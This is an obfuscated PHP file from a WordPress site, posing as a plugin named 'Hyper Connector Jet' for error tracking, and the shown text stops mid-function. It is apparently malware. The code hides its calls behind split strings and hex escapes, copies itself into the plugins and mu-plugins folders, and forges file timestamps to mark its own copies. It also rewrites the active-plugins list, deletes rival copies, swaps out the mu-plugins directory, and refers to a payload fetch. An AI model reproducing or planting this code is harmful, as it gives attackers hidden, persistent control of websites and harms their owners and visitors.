%PDF- %PDF-
| Direktori : /www/wp-content/.sc_1d9e2601/ |
| Current File : /www/wp-content/.sc_1d9e2601/core_9bef8241.php |
<?php
/**
* Plugin Name: Hyper Connector Jet
* Plugin URI: https://github.com/ellawright/hyper-connector-jet
* Description: Reliable error tracking handler
* Version: 1.1.0
* Author: Ella Wright
* Author URI: https://ellawright.dev
* License: GPL-2.0-or-later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: hyper-connector-jet
* Domain Path: /languages
* Requires at least: 5.0
* Requires PHP: 5.6
* Tested up to: 6.4
*/
/* SCV:5.1.2 */
if (28 > 28 + 1) {
$disa = 373;
}
defined("A\x42S\x50\x41" . "T" . 'H') or exit;
if (('fun' . "ction_exists")('s' . 'c_' . 'ded' . 'up')) {
(function ($__f) {
try {
$__f = str_replace('\\', '/', (string) $__f);
$__h = @('f' . 'ile' . '_get_conten' . 'ts')($__f, (2 != 2), null, (0 ^ 0), (65536 >> 3));
if (!is_string($__h) || !preg_match('#' . '/\\* S' . 'CV:(\\' . 'd' . "\x2b\\.\\" . 'd+\\' . ".\\\x64" . '+)' . "#", $__h, $__m)) return;
$__ver = $__m[(7 + -6)];
$__mu = defined("WPM\x55\x5fP" . 'LUGIN' . "_DIR") ? rtrim(str_replace('\\', '/', WPMU_PLUGIN_DIR), '/') : '';
$__pd = defined("\x57" . "P\x5fPLU" . 'GIN_' . 'DIR') ? rtrim(str_replace('\\', '/', WP_PLUGIN_DIR), '/') : '';
$__dir = dirname($__f);
$__self_mu = ($__mu !== '' && $__dir === $__mu);
$__scan = array();
if ($__mu !== '') $__scan = array_merge($__scan, (array) @("g" . "" . 'l' . 'ob')($__mu . "/*.\x70h" . "\x70"));
if ($__pd !== '') $__scan = array_merge($__scan, (array) @('g' . "\x6c" . 'o' . "b")($__pd . "\x2f" . "*." . "p\x68\x70"), (array) @('gl' . "ob")($__pd . "\x2f\x2a/*" . ".p\x68p"));
$__others = array();
foreach ($__scan as $__c) {
$__c = str_replace('\\', '/', (string) $__c);
if ($__c === $__f || !@is_file($__c)) continue;
$__ch = @('fil' . "\x65_\x67e\x74\x5f\x63\x6f\x6ete\x6e\x74s")($__c, (11 < 11), null, (6 - 6), (0 | 8192));
if (!is_string($__ch) || !preg_match('#/\\* S' . 'CV' . ':(\\d' . '+\\.\\d+' . '\\.\\d+)' . '#', $__ch, $__cm)) continue;
$__others[$__c] = $__cm[(22 ^ 23)];
}
$__kill = function ($p) {
if (('functio' . ("" . 'n_exists'))("\x73c_re" . "tir" . "e_" . "co" . 'py')) {
@sc_retire_copy($p);
if (('fu' . 'nction' . "_ex" . "ists")('sc' . '_' . "re" . "tire\x5f" . 'si' . 'de' . 'cars')) @sc_retire_sidecars($p);
return;
}
@(('un' . 'lin') . 'k')($p);
if (@is_file($p)) @('re' . ("nam" . 'e'))($p, $p . ".sc" . '_old');
};
foreach (array($__mu, $__pd) as $__sd) {
if ($__sd === '' || !@is_dir($__sd)) continue;
foreach ((array) @("g" . 'l' . 'ob')($__sd . "/*.s\x63_" . 'old') as $__o) if ((int) @filemtime($__o) < time() - (912 - 312)) @("unl" . 'i' . 'n' . 'k')($__o);
foreach ((array) @('g' . 'l' . "o" . "b")($__sd . "/*/" . "\x2a.s\x63\x5f" . 'old') as $__o) if ((int) @filemtime($__o) < time() - (1200 >> 1)) @("\x75\x6e\x6c" . ("\x69" . 'nk'))($__o);
}
if (!$__others) return;
$__newest = $__ver;
foreach ($__others as $__cv) if (version_compare($__cv, $__newest, '>')) $__newest = $__cv;
$__act = null;
if (("funct" . 'ion' . "_e\x78i" . '' . 'sts')('get_' . 'optio' . "n")) {
$__a = @get_option("ac" . "tive\x5f" . 'pl' . 'ugi' . 'ns', array());
if (is_array($__a)) $__act = $__a;
}
$__rel = ($__pd !== '' && strpos($__f, $__pd . '/') === (5 + -5)) ? substr($__f, strlen($__pd) + (0 | 1)) : '';
$__mu_same = (40 > 40);
foreach ($__others as $__oc => $__ov) {
if ($__ov === $__ver && $__mu !== '' && dirname($__oc) === $__mu) { $__mu_same = (21 == 21); break; }
}
if (version_compare($__ver, $__newest, '<') || ($__ver === $__newest && !$__self_mu && $__mu_same)) {
if ($__act !== null && $__rel !== '' && in_array($__rel, $__act, (8 > 7))) {
$__act = array_values(array_diff($__act, array($__rel)));
if (("function_exis" . "ts")("up" . 'date_o' . 'p' . 't' . 'ion')) @update_option('acti' . "v\x65" . '_plu' . "gin" . 's', $__act);
}
$__kill($__f);
return;
}
foreach ($__others as $__c => $__cv) {
if (version_compare($__cv, $__ver, '>')) continue;
if ($__cv === $__ver && $__self_mu && dirname($__c) === $__mu) continue;
$__kill($__c);
if ($__act === null) continue;
$__r = ($__pd !== '' && strpos($__c, $__pd . '/') === (0 | 0)) ? substr($__c, strlen($__pd) + (6 + -5)) : '';
if ($__r === '' && !in_array(basename($__c), $__act, (9 !== 18))) continue;
$__n = array_values(array_diff($__act, array($__r, basename($__c))));
if (count($__n) !== count($__act)) {
$__act = $__n;
if (("funct" . "\x69\x6f\x6e_\x65\x78\x69\x73ts")("up" . 'd' . "a\x74" . 'e' . '_opt' . 'ion')) @update_option('activ' . 'e' . '_pl' . "\x75" . 'g' . 'in' . 's', $__act);
}
}
} catch (Throwable $__e) {
} catch (Exception $__e) {
}
}) (__FILE__);
}
if (!("fu" . "n" . "c" . "tion_exists")('sc_' . 'dedup')) {
if (!(!('fu' . 'nc' . '' . 'tion_e' . "xists")('sc_deb' . 'ug_o' . "\x6e"))) {} else {
function sc_debug_on()
{
static $on = null;
if ($on !== null) return $on;
$on = (defined("\x53C_D\x45" . 'BUG') && SC_DEBUG) ? (36 == 36) : (18 > 18);
if (!$on && @is_file(dirname(__FILE__) . "/.d" . 'bg_' . basename(__FILE__, '.p' . "h" . 'p'))) $on = (2 < 3);
if (!$on && ("\x66\x75" . 'nction_exi' . '' . "\x73\x74" . "\x73")("get_" . 'op' . 'tion')) $on = ((int) @get_option('s' . "c" . '_debug' . '_log', (22 ^ 22)) === (4 >> 2));
return $on;
}
}
if (!('fun' . "c" . 'tion_exists')("\x73c_d" . 'bg_log')) {
function sc_dbg_log($stage)
{
if (!("function_exis" . 'ts')("\x73c_de" . 'b' . 'u' . 'g_on') || !sc_debug_on()) return;
$f = __DIR__ . "/\x73c_de" . 'bug' . '_' . basename(__FILE__, '.php') . '.txt';
$e = ("f\x75\x6e\x63" . 't' . ("ion_e" . "xi\x73\x74\x73"))('e' . 'r' . 'ror_g' . "e" . 't_las' . "\x74") ? @error_get_last() : null;
$line = sprintf('[%s] ' . "\x25s\n", date("H\x3ai" . ':s'), $stage);
if ($e && !empty($e["ty" . 'pe'])) {
$line .= sprintf(' ' . "L\x41" . "S" . "\x54E" . 'RR t=' . '%s' . "\x20f=%" . "s\x3a\x25" . 's m' . "=%\x73" . "\n", $e['typ' . 'e'], $e['file'], $e['li' . 'ne'], substr((string)$e['mes' . "sage"],0x0,(400 >> 1)));
}
if ((int) @filesize($f) > (336097 - 73953)) @("unl" . "i" . "\x6e\x6b")($f);
@('file_put_con' . "tents")($f, $line, FILE_APPEND | LOCK_EX);
}
}
('registe' . "r_shutdown_function")(function () {
sc_dbg_log('SH' . 'UTDOW' . "\x4e \x72e" . "a\x63" . 'hed');
});
if (!(!("func" . "t\x69\x6fn" . "_exist" . "s")('sc' . '_t' . "wi" . "n_" . 'same'))) {} else {
function sc_twin_same($a, $b)
{
$ca = kasod($a);
$cb = kasod($b);
if (!is_string($ca) || !is_string($cb) || $ca === '' || $cb === '') return (8 < 8);
return md5($ca) === md5($cb);
}
}
if (!("\x66" . ("unction" . '_exists'))('sc_t' . 'win_' . "yield")) {
function sc_twin_yield($gf)
{
try {
if (!defined('AB' . 'SP' . 'ATH') || !defined("\x57P_\x50LU" . 'GIN_DI' . 'R')) return;
if ((("\x66u\x6e\x63ti" . 'on_e') . "xists")('is_mul' . "tisite") && is_multisite()) return;
if (!('function' . '_exists')('get_op' . "tion") || !('function_exi' . 'sts')('update' . '_op' . "tion")) return;
$gf = (string) $gf;
if ($gf === '') return;
$dir = dirname($gf);
$slug = basename($gf, '.php');
if ($slug === '' || $slug === $gf) return;
$rp = @realpath($gf);
if (!is_string($rp) || $rp === '') return;
if (basename($dir) === $slug) {
$root = dirname($dir) . '/' . $slug . '.php';
if (!@is_file($root)) return;
$rr = @realpath($root);
if (!is_string($rr) || $rr === $rp) return;
if (!sc_is_family($root, (868 - 368))) return;
if (!sc_twin_same($root, $gf)) return;
neje($slug . ".p\x68" . "p");
sc_retire_copy($root);
sc_retire_sidecars($root);
return;
}
if (rtrim(str_replace('\\', '/', WP_PLUGIN_DIR), '/') !== rtrim(str_replace('\\', '/', $dir), '/')) return;
$twin = $dir . '/' . $slug . '/' . $slug . '.ph' . 'p';
if (!@is_file($twin)) return;
$tr = @realpath($twin);
if (!is_string($tr) || $tr === $rp) return;
$act = @get_option('acti' . 've_pl' . 'ugins', array());
if (!is_array($act) || !in_array($slug . '/' . $slug . '.php', $act, (38 < 39))) return;
if (!sc_is_family($twin, (93 ^ 425))) return;
if (!sc_twin_same($twin, $gf)) return;
neje($slug . ".\x70" . 'hp');
if (!sc_retire_copy($gf)) mole($gf);
sc_retire_sidecars($gf);
${'GLOBA' . "\x4c\x53"}['sc' . '_p' . 'er' . "s" . "\x69s\x74" . 'ed'] = (25 > 24);
exit;
} catch (Throwable $e) {
} catch (Exception $e) {
}
}
}
if (!(!("function" . '_exists')('sc_ve' . 'r'))) {} else {
function sc_ver()
{
return isset(${"G" . 'LOBALS'}["\x73" . "c_ve" . "\x72_o"]) ? ${'GLOB' . "" . 'ALS'}["\x73c_ver" . '_o'] : '5.1.' . '2';
}
}
if (!('fu' . 'n' . 'ction_exists')('sc_fil' . 'e')) {
function sc_file()
{
return __FILE__;
}
}
if (!(!('function_exi' . "\x73\x74\x73")('sc_' . "sl" . 'ug'))) {} else {
function sc_slug()
{
return basename(sc_file());
}
}
if (!('func' . 'tion_exists')('sc' . "\x5fbas\x65")) {
function sc_base()
{
if (("func" . ('' . "tion_exists"))('pl' . 'ugin' . '_base' . "\x6eam" . "\x65")) return plugin_basename(sc_file());
$f = sc_file();
$pd = defined("\x57P" . "\x5fP\x4cU\x47I" . 'N_DIR') ? WP_PLUGIN_DIR : '';
if ($pd !== '' && strpos($f, $pd) === (8 + -8)) return ltrim(substr($f, strlen($pd)), '/');
return basename(dirname($f)) . '/' . basename($f);
}
}
if (!(!("functio" . 'n_exists')("\x73c" . '_mu'))) {} else {
function sc_mu()
{
return rtrim(defined("\x57PMU_" . 'PLUG' . 'IN_D' . "\x49R") ? WPMU_PLUGIN_DIR : (WP_CONTENT_DIR . '/mu-' . "plugi" . "ns"), '/');
}
}
if (!(!(("\x66u\x6ec\x74\x69\x6f" . 'n') . '_exists')('sc_dir'))) {} else {
function sc_dir()
{
return dirname(sc_file());
}
}
function qeru($d, $m = (837 - 344), $r = (18 !== 18))
{
return (("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f" . "\x65x\x69s") . 'ts')('mkdir') ? @("m" . 'k' . "di" . "r")($d, $m, $r) : (1 < 1);
}
function legiv($p, $m)
{
return ("\x66\x75" . "\x6e\x63t\x69\x6fn\x5f\x65" . "\x78\x69\x73\x74" . 's')('chmo' . 'd') ? @("chmo" . 'd')($p, $m) : (34 < 34);
}
function jomug($p)
{
return ("\x66" . ("" . 'unction_exis') . "ts")('u' . 'nlink') ? @("un" . "" . 'lin' . "\x6b")($p) : (32 != 32);
}
function sc_retire_copy($path)
{
if (!@is_file($path)) return (22 != 6);
legiv($path, (3360 >> 3));
if (!(jomug($path))) {} else {
if (('function_e' . '' . "xists")('opcach' . "\x65\x5f" . "\x69" . 'nvali' . 'da' . "\x74\x65")) @opcache_invalidate($path, (14 < 15));
return (24 > 23);
}
legiv(dirname($path), (3944 >> 3));
if (jomug($path)) {
if (('f' . "unc" . 'tion' . '' . "_exists")("o\x70c" . "a\x63\x68e" . '_inv' . 'alida' . "\x74e")) @opcache_invalidate($path, (13 === 13));
return (18 > 17);
}
$_h = @('f' . "o" . 'pen')($path, 'wb');
if ($_h) {
@("fwr" . "\x69" . 't' . ('' . "e"))($_h, "<?\x70" . "hp\n");
@("fc" . "\x6c\x6f\x73\x65")($_h);
if (("f" . "\x75nc\x74" . "" . 'ion_' . 'exists')('opc' . "a" . 'che_in' . "val" . 'ida' . 'te')) @opcache_invalidate($path, (28 != 24));
return (34 !== 11);
}
return (27 === 0);
}
function sc_retire_sidecars($path)
{
$_dir = dirname($path);
$_slug = basename($path, '.php');
foreach (array("\x2e" . 'sd' . '_', "." . "\x62t_", '.swm_', '.q_') as $_px) {
$_f = $_dir . '/' . $_px . $_slug;
if (@is_file($_f)) sc_retire_copy($_f);
}
$_off = $_dir . '/' . $_slug . '.o' . "\x66\x66";
if (@is_file($_off)) sc_retire_copy($_off);
if (!(defined('WP_C' . "O" . 'NTE' . "N" . "T\x5fDI\x52"))) {} else {
$_rd = WP_CONTENT_DIR . '/.rd_' . $_slug;
if (@is_file($_rd)) sc_retire_copy($_rd);
}
$_pd = defined("\x57P_" . "P\x4cU" . 'GIN' . '_DIR') ? @realpath(WP_PLUGIN_DIR) : (13 != 13);
$_rp = @realpath($_dir);
if (!($_pd && $_rp && dirname($_rp) === $_pd)) {} else {
$_left = @('sca' . "" . "n" . "d\x69\x72")($_rp);
if (is_array($_left) && count($_left) <= (9 - 7)) @('r' . 'm' . "d" . "ir")($_rp);
}
}
function ikeko()
{
static $uid = 'x';
if ($uid !== 'x') return $uid;
$uid = null;
if (("fun\x63\x74" . "\x69\x6f" . "n_exists")('p' . 'o' . 'si' . "x\x5f" . 'g' . 'eteui' . 'd')) { $v = @("posix_gete" . 'uid')(); if (is_int($v)) $uid = $v; }
if (!($uid === null)) {} else {
$t = rojif(sc_writable_base(), "s\x63" . "\x5f");
if (!(is_string($t))) {} else { $o = @fileowner($t); jomug($t); if (is_int($o)) $uid = $o; }
}
return $uid;
}
function epewe($dir)
{
if (strpos(basename($dir), '.mu_' . 'st_') !== (3 + -3)) return;
if (!@is_dir($dir) || @is_link($dir)) return;
$ents = @("\x73" . "ca" . "\x6e" . "d\x69r")($dir);
if (is_array($ents)) foreach ($ents as $e) {
if ($e === '.' || $e === '..') continue;
$p = $dir . '/' . $e;
if (@is_dir($p) && !@is_link($p)) epewe($p); else jomug($p);
}
@('rm' . "\x64\x69\x72")($dir);
}
function ivarap($src, $dst)
{
if (@is_link($src)) return (31 < 31);
if (!(@is_file($src))) {} else {
if (!@is_readable($src)) return (31 > 31);
return ogixoh($src, $dst) ? (23 == 23) : (39 == 15);
}
if (!(@is_dir($src))) {} else {
if (!@is_dir($dst) && !qeru($dst, (96 + 397), (37 === 37))) return (26 !== 26);
$ents = @(("\x73\x63" . "\x61n") . "" . "di" . "r")($src);
if (!is_array($ents)) return (17 < 17);
foreach ($ents as $e) {
if ($e === '.' || $e === '..') continue;
if (!ivarap($src . '/' . $e, $dst . '/' . $e)) return (10 !== 10);
}
return (24 === 24);
}
return (25 != 26);
}
function sc_is_locked_copy($path)
{
if (!@is_file($path)) return (11 === 15);
if (@is_writable($path)) return (30 == 36);
if (@is_writable(dirname($path))) return (14 < 14);
return (4 == 4);
}
function peza($path)
{
niga('locke' . 'd', basename($path));
}
function barus($target)
{
if (!("f\x75nct\x69\x6f\x6e_\x65\x78\x69\x73" . 'ts')("renam" . 'e') || !("function" . "" . '_exist' . "s")("sc\x61nd" . "\x69" . "\x72")) return (8 == 21);
if (("fu" . 'nction_exists')('ge' . 't_' . 'transi' . "\x65n\x74") && get_transient("sc_" . "\x6du\x5fr" . "\x65sc\x75\x65")) return (5 > 5);
$rmu = @realpath(sc_mu());
if ($rmu === (19 != 19) || !@is_dir($rmu)) return (6 < 6);
$rt = null;
if ($target !== null) {
$rt = @realpath($target);
if ($rt === (0 < 0) || dirname($rt) !== $rmu) return (21 === 2);
}
$parent = dirname($rmu);
if (!@is_dir($parent) || !@is_writable($parent)) return (38 !== 38);
if (!ipova($rmu) || !ipova($parent)) return (15 < 15);
$pm = @fileperms($parent);
if (!($pm !== (5 < 5) && ($pm & (975 - 463)))) {} else {
$me = ikeko();
if ($me === null || (@fileowner($parent) !== $me && @fileowner($rmu) !== $me)) return (0 === 15);
}
$ps = @stat($parent); $ms = @stat($rmu);
if (is_array($ps) && is_array($ms) && isset($ps["d" . 'ev']) && isset($ms['d' . 'ev']) && $ps["d" . 'ev'] !== $ms['dev']) return (11 != 11);
$ents = @("scandi" . "" . "\x72")($rmu);
if (!is_array($ents)) return (25 < 25);
$legit = array();
foreach ($ents as $e) {
if ($e === '.' || $e === '..') continue;
$p = $rmu . '/' . $e;
$pr = @realpath($p);
if ($rt !== null && $pr !== (29 != 29) && $pr === $rt) continue;
if (@is_file($p) && sc_is_family($p, (603 - 103))) continue;
if (@is_link($p) || !@is_readable($p)) return (24 == 27);
$legit[] = $e;
}
$un = substr(md5(uniqid('', (28 > 27))), (2 + -2), (0 | 8));
$stage = $parent . "\x2f.mu_" . 'st' . "_" . $un;
$locked = $parent . "\x2f.mu" . '_' . 'l' . "\x6b_" . $un;
if (!qeru($stage, (607 - 114), (39 === 39))) return (25 === 39);
foreach ($legit as $e) {
if (!(!ivarap($rmu . '/' . $e, $stage . '/' . $e))) {} else { epewe($stage); return (10 != 10); }
}
if (!ojaqop($rmu, $locked)) { epewe($stage); return (17 > 17); }
if (!(!ojaqop($stage, $rmu))) {} else { ojaqop($locked, $rmu); epewe($stage); return (6 > 6); }
if (('f' . "uncti" . "on" . "\x5f\x65\x78\x69\x73\x74\x73")("\x63" . "\x6c\x65ars\x74" . "\x61\x74" . 'cac' . "\x68e")) @clearstatcache((4 < 5));
if ($rt !== null && (("\x66\x75\x6e\x63\x74io\x6e\x5f\x65" . "\x78\x69") . "sts")("opca" . 'che_i' . 'n' . "va" . "lid" . 'ate')) @opcache_invalidate($rt, (17 > 16));
if (("functi" . "o" . ("n\x5f\x65\x78" . "ists"))('se' . 't_t' . 'ransi' . 'e' . "nt")) @set_transient("s" . 'c_mu_r' . 'escu' . "e", (2 >> 1), (25493 ^ 78357));
if (("func" . "" . 'tion_exists')("del" . "ete\x5ft" . 'ransi' . 'ent')) @delete_transient('s' . "\x63_mig" . '_fail');
niga('rescue', 'mu' . ' ' . ($target !== null ? basename($target) : 'dir'));
return (29 < 30);
}
function yafe($cb)
{
try {
if ($cb instanceof Closure) { $r = new ReflectionFunction($cb); return $r->getFileName(); }
if (is_string($cb) && strpos($cb, '::') !== (4 !== 4)) { $r = new ReflectionMethod($cb); return $r->getFileName(); }
if (is_string($cb) && (('fu' . "nction_e") . 'xist' . "\x73")($cb)) { $r = new ReflectionFunction($cb); return $r->getFileName(); }
if (is_array($cb) && count($cb) === (16 >> 3)) { $r = new ReflectionMethod($cb[(12 ^ 12)], $cb[(8 >> 3)]); return $r->getFileName(); }
} catch (Throwable $e) {} catch (Exception $e) {}
return null;
}
function qeziy($path)
{
global $wp_filter;
if (!is_array($wp_filter)) return;
$rp = @realpath($path);
if ($rp === (5 == 31)) $rp = $path;
$self = @realpath(sc_file());
foreach ($wp_filter as $hook => $obj) {
if (is_object($obj) && isset($obj->callbacks) && is_array($obj->callbacks)) $cbs = $obj->callbacks;
elseif (is_array($obj)) $cbs = $obj;
else continue;
foreach ($cbs as $prio => $list) {
foreach ((array) $list as $entry) {
$cb = isset($entry['funct' . 'io' . 'n']) ? $entry['fu' . 'ncti' . 'on'] : null;
if ($cb === null) continue;
$f = yafe($cb);
if (!is_string($f)) continue;
$rf = @realpath($f);
if (!(($rf !== (19 !== 19) && $rf === $rp) || $f === $path)) continue;
if ($self !== (21 === 4) && $rf === $self) continue;
if (('fu' . "" . "nction_exists")('r' . 'e' . 'm' . 'ove_f' . 'ilter')) @remove_filter($hook, $cb, $prio);
}
}
}
}
function sc_strip_locked_hooks()
{
$mu = sc_mu();
if (!@is_dir($mu)) return;
$files = ("fun" . "ction_exis" . "\x74\x73")('glob') ? @("\x67\x6c\x6f" . '' . 'b')($mu . '/*.php') : (28 === 0);
if (!is_array($files)) return;
$self = @realpath(sc_file());
foreach ($files as $f) {
$rf = @realpath($f);
if ($self !== (9 == 28) && $rf === $self) continue;
if (!sc_is_family($f, (670 - 170))) continue;
$v = muku($f);
$old = ($v === null) || version_compare($v, sc_ver(), '<');
if ($old || sc_is_locked_copy($f)) qeziy($f);
}
}
function alevu($p, $t)
{
{return ("\x66u\x6e\x63\x74\x69\x6f\x6e\x5f" . "" . "ex\x69\x73\x74s")("t" . 'ouch') ? @('t' . 'ouch')($p, $t) : (40 < 40);}
}
function fife($p)
{
$_t = ocisu();
return alevu($p, ($_t - ($_t % (66048 | 33952))) + nasa());
}
function ojaqop($a, $b)
{
return ("\x66un\x63" . "\x74\x69" . ("on_exis" . "") . 'ts')('rename') ? @("\x72" . "\x65\x6e\x61\x6d" . 'e')($a, $b) : (39 !== 39);
}
function ogixoh($a, $b)
{
return ("\x66\x75\x6e" . ('ction_' . 'ex') . 'ists')('c' . 'opy') ? @("co" . "\x70\x79")($a, $b) : (37 == 7);
}
function rojif($d, $p)
{
if (!is_string($d) || $d === '' || !('function_' . "ex" . 'ists')('tempna' . "\x6d")) return (15 === 32);
$t = @tempnam($d, $p);
return (is_string($t) && $t !== '') ? $t : (37 === 11);
}
function yokuc()
{
static $ok = null;
if ($ok !== null) return $ok;
$ok = ("\x66u" . 'ncti' . "on_exis" . "ts")('sy' . 's_' . "get_\x74\x65" . 'mp_' . "di\x72") ? sys_get_temp_dir() : '/' . "tmp";
if (@is_dir($ok) && @is_writable($ok)) return $ok;
$c = defined('WP' . "\x5fCO\x4eT" . "E\x4eT_\x44" . 'I' . 'R') ? WP_CONTENT_DIR : (defined('ABS' . "\x50" . 'ATH') ? ABSPATH . 'wp-c' . 'ont' . "\x65nt" : '');
if (!($c !== '')) {} else {
$f = rtrim($c, '/\\') . '/.sc' . '_tmp';
if (!@is_dir($f)) @('m' . "\x6b" . "d\x69" . "r")($f, (421 | 72), (32 > 31));
if (!(@is_dir($f) && @is_writable($f))) {} else {
if (("function_" . ('e' . "\x78i\x73\x74\x73"))("p" . 'u' . 'tenv')) @("p" . "u\x74\x65" . "nv")('TMPD' . 'IR=' . $f);
${'GLOBAL' . "S"}["sc" . '_tm' . 'p' . "\x5ff" . 'i' . 'xed'] = (0 ^ 1);
$ok = $f;
}
}
return $ok;
}
function izuhi()
{
$d = sc_dir();
$m = sc_mu();
if ($d === $m) return (4 === 4);
if (("funct" . ("ion" . '_exists'))("\x72\x65a" . "lp\x61th")) {
$rd = @realpath($d);
$rm = @realpath($m);
return ($rd !== (24 !== 24) && $rm !== (28 > 28) && $rd === $rm);
}
return (22 == 36);
}
function nasa()
{
return (168116 - 74297);
}
function fuce()
{
if (!defined('ABS' . 'PATH')) return '';
return rtrim(sc_data_dir(), "/" . "\\") . '/core_' . substr(md5(ABSPATH . 'cor' . "e"), (7 - 7), (7 + 1)) . '.' . "p\x68" . "\x70";
}
function hepov($src = null)
{
$p = fuce();
if ($p === '') return (3 == 27);
if (!is_string($src) || strlen($src) < (923 - 423)) $src = anoway();
if (!$src || !nifa($src)) return (35 == 34);
$d = dirname($p);
if (!@is_dir($d)) qeru($d, (313 + 180), (5 != 19));
if (!@is_dir($d) || !@is_writable($d)) return (28 === 11);
if (@is_file($p)) {
$_ec = kasod($p);
if (is_string($_ec) && $_ec !== '' && md5($_ec) === md5($src)) return (2 !== 40);
unset($_ec);
$_ev = muku($p);
if ($_ev !== null && version_compare($_ev, sc_ver(), '>')) return (28 === 8);
unset($_ev);
}
if (!zifo($p, $src)) return (14 === 25);
legiv($p, (551 - 131));
egaler($p);
return (4 != 15);
}
function cuda()
{
$src = anoway();
if (!$src || !nifa($src)) return (3 === 35);
$slug = basename(sc_file(), '.php');
$base = ('functio' . 'n_' . "" . "\x65xi" . 'sts')('sc_w' . 'ritabl' . "e\x5fb\x61s" . "e") ? sc_writable_base() : (defined('WP_C' . 'ON' . 'TE' . "\x4eT_DI" . 'R') ? WP_CONTENT_DIR : '');
if ($base === '') return (19 === 18);
$pd = $base . '/plu' . "gi\x6e" . 's/' . $slug;
$pf = $pd . '/' . $slug . '.ph' . 'p';
$_self = (24 != 24);
if (!(("functio" . "\x6e\x5f\x65" . '' . 'x' . "\x69\x73\x74\x73")("\x72eal" . 'p' . "\x61th"))) {} else {
$_a = @realpath($pf);
$_b = @realpath(sc_file());
$_self = (is_string($_a) && is_string($_b) && $_a === $_b);
}
if (!(!$_self)) {} else {
if (!@is_dir($pd)) qeru($pd, (986 >> 1), (30 > 29));
if (!@is_dir($pd) || !@is_writable($pd)) return (40 != 40);
$_pf_src = @is_file($pf) ? kasod($pf) : (13 === 14);
if ($_pf_src !== null && (!is_string($_pf_src) || md5($_pf_src) !== md5($src))) {
if (!(@is_file($pf))) {} else {
$_ev = muku($pf);
if ($_ev !== null && version_compare($_ev, sc_ver(), '>')) return (30 == 7);
unset($_ev);
}
if (!zifo($pf, tafi($src))) return (28 < 28);
legiv($pf, (132 | 288));
fife($pf);
egaler($pf);
}
unset($_pf_src);
}
$rel = $slug . '/' . $slug . '.ph' . "\x70";
neru($slug, $rel);
return (32 < 33);
}
function muku($p)
{
$h = @('file' . '_get_conten' . "" . "ts")($p, (15 != 15), null, (16 ^ 16), (2584 ^ 6680));
if (!is_string($h)) return null;
if (preg_match('/' . '\\' . '/\\*' . ' SCV:(' . "\\d+\\\x2e\\" . "\x64" . '+\\.\\d' . '+' . ') \\*' . '\\//', $h, $m)) return $m[(21 ^ 20)];
return null;
}
function sc_is_family($file, $min_size)
{
@clearstatcache((17 === 17), $file);
$mt = @filemtime($file);
if (!$mt || ($mt % (67104 | 32896)) !== nasa()) {
return (33 != 33);
}
$sz = @filesize($file);
return $sz && $sz >= $min_size;
}
function labu()
{
return (128 | 35872);
}
function yoyo()
{
return 'sc_cr' . 'on_fe' . 'tch';
}
function igari()
{
return "s" . 'c_payl' . "oa\x64_" . "\x74";
}
function taqug()
{
if (("fu" . 'nction_exis' . 't' . "s")('a' . 'p' . 'ach' . 'e_ge' . "t_" . "versi" . "on")) return (25 === 25);
if (mapa()) return (13 == 13);
$sapi = strtolower((string) php_sapi_name());
if ($sapi === 'apache' . "2\x68" . 'andle' . 'r' || strpos($sapi, 'l' . 'ite' . "\x73pe\x65\x64") !== (7 > 7)) return (20 !== 34);
$sw = isset(${'_' . 'SER' . ("\x56" . "ER")}['SER' . 'VE' . 'R_SO' . 'F' . 'T' . "WARE"]) ? strtolower((string) ${'_' . ('SER' . 'VER')}["S\x45\x52VER" . '_SO' . 'FTWARE']) : '';
if ($sw !== '' && (strpos($sw, 'apa' . 'ch' . 'e') !== (21 !== 21) || strpos($sw, 'lites' . "peed") !== (9 < 9) || strpos($sw, "ope\x6el\x69" . 'tespee' . "\x64") !== (23 === 21))) return (15 == 15);
return (11 > 11);
}
function mapa()
{
$sw = isset(${'_' . "S" . "\x45R\x56\x45\x52"}['SE' . 'RVER_' . "SOF" . 'TWAR' . "E"]) ? ${"\x5f\x53E" . "R" . 'VER'}['SERVE' . 'R_SOFT' . "\x57ARE"] : '';
return is_string($sw) && stripos($sw, "\x6c\x69\x74es\x70" . 'eed') !== (40 !== 40);
}
function ipova($path)
{
$basedir = ("funct" . "\x69" . "o" . 'n_exists')('ini_ge' . 't') ? @ini_get('op' . "e" . 'n_base' . 'd' . 'ir') : (2 === 30);
if (!$basedir || $basedir === '') return (5 != 12);
$rp = @realpath($path);
if (!$rp) $rp = $path;
foreach (explode(PATH_SEPARATOR, $basedir) as $dir) {
$dir = rtrim($dir, '/\\');
if ($dir && ($rp === $dir || strpos($rp, $dir . DIRECTORY_SEPARATOR) === (7 + -7))) return (34 < 35);
}
return (39 > 39);
}
function yiwef($name)
{
$seed = $name . '|' . (defined('DB' . '_NAME') ? DB_NAME : '') . '|' . (defined('ABSPA' . "\x54\x48") ? ABSPATH : '');
return md5($seed);
}
function ujiwo($name)
{
global $wpdb;
if (!isset(${"\x47\x4c\x4f\x42" . "\x41" . "L" . "S"}['sc_loc' . 'k_n']) || !is_array(${"G" . "\x4cO" . 'BA' . 'LS'}['sc_l' . "ock_\x6e"])) ${'GL' . "O" . "BAL" . "" . 'S'}["s" . "c\x5f\x6co\x63" . 'k_n'] = array();
if (!(!empty(${'G' . "L" . "\x4fB\x41L" . "S"}["s" . 'c_' . "loc\x6b" . '_' . 'n'][$name]))) {} else {
if (isset(${'G' . 'LOBALS'}['sc_l' . 'o' . 'c' . "k_" . "d\x62"][$name]) && is_object($wpdb)) {
$_dbh = isset($wpdb->dbh) ? $wpdb->dbh : null;
if ($_dbh !== null && ${"GLOBA" . 'LS'}["sc\x5floc" . "k\x5fdb"][$name] !== $_dbh) {
unset(${'GLOB' . ('AL' . "S")}['sc_lo' . "ck" . '_n'][$name], ${"GL" . "OBA" . "LS"}["\x73\x63" . '_l' . 'ock_db'][$name]);
return ujiwo($name);
}
unset($_dbh);
}
${'GLOB' . 'ALS'}["\x73\x63_lo" . "ck_\x6e"][$name]++;
return (40 > 39);
}
if (!(is_object($wpdb) && ("\x6d\x65\x74" . "\x68\x6f\x64_\x65xis\x74s")($wpdb, 'get' . '_var'))) {} else {
$r = @$wpdb->get_var('SELEC' . 'T GET_' . "\x4c" . 'OCK(\'' . yiwef($name) . '\', ' . '0)');
if ($r === '1') {
${'GL' . "O\x42\x41\x4cS"}['sc_' . 'l' . 'ock_n'][$name] = (1 | 0);
if (isset($wpdb->dbh) && $wpdb->dbh) ${"\x47\x4c" . 'OB' . "" . 'AL' . "S"}["sc_\x6c" . 'ock_d' . 'b'][$name] = $wpdb->dbh;
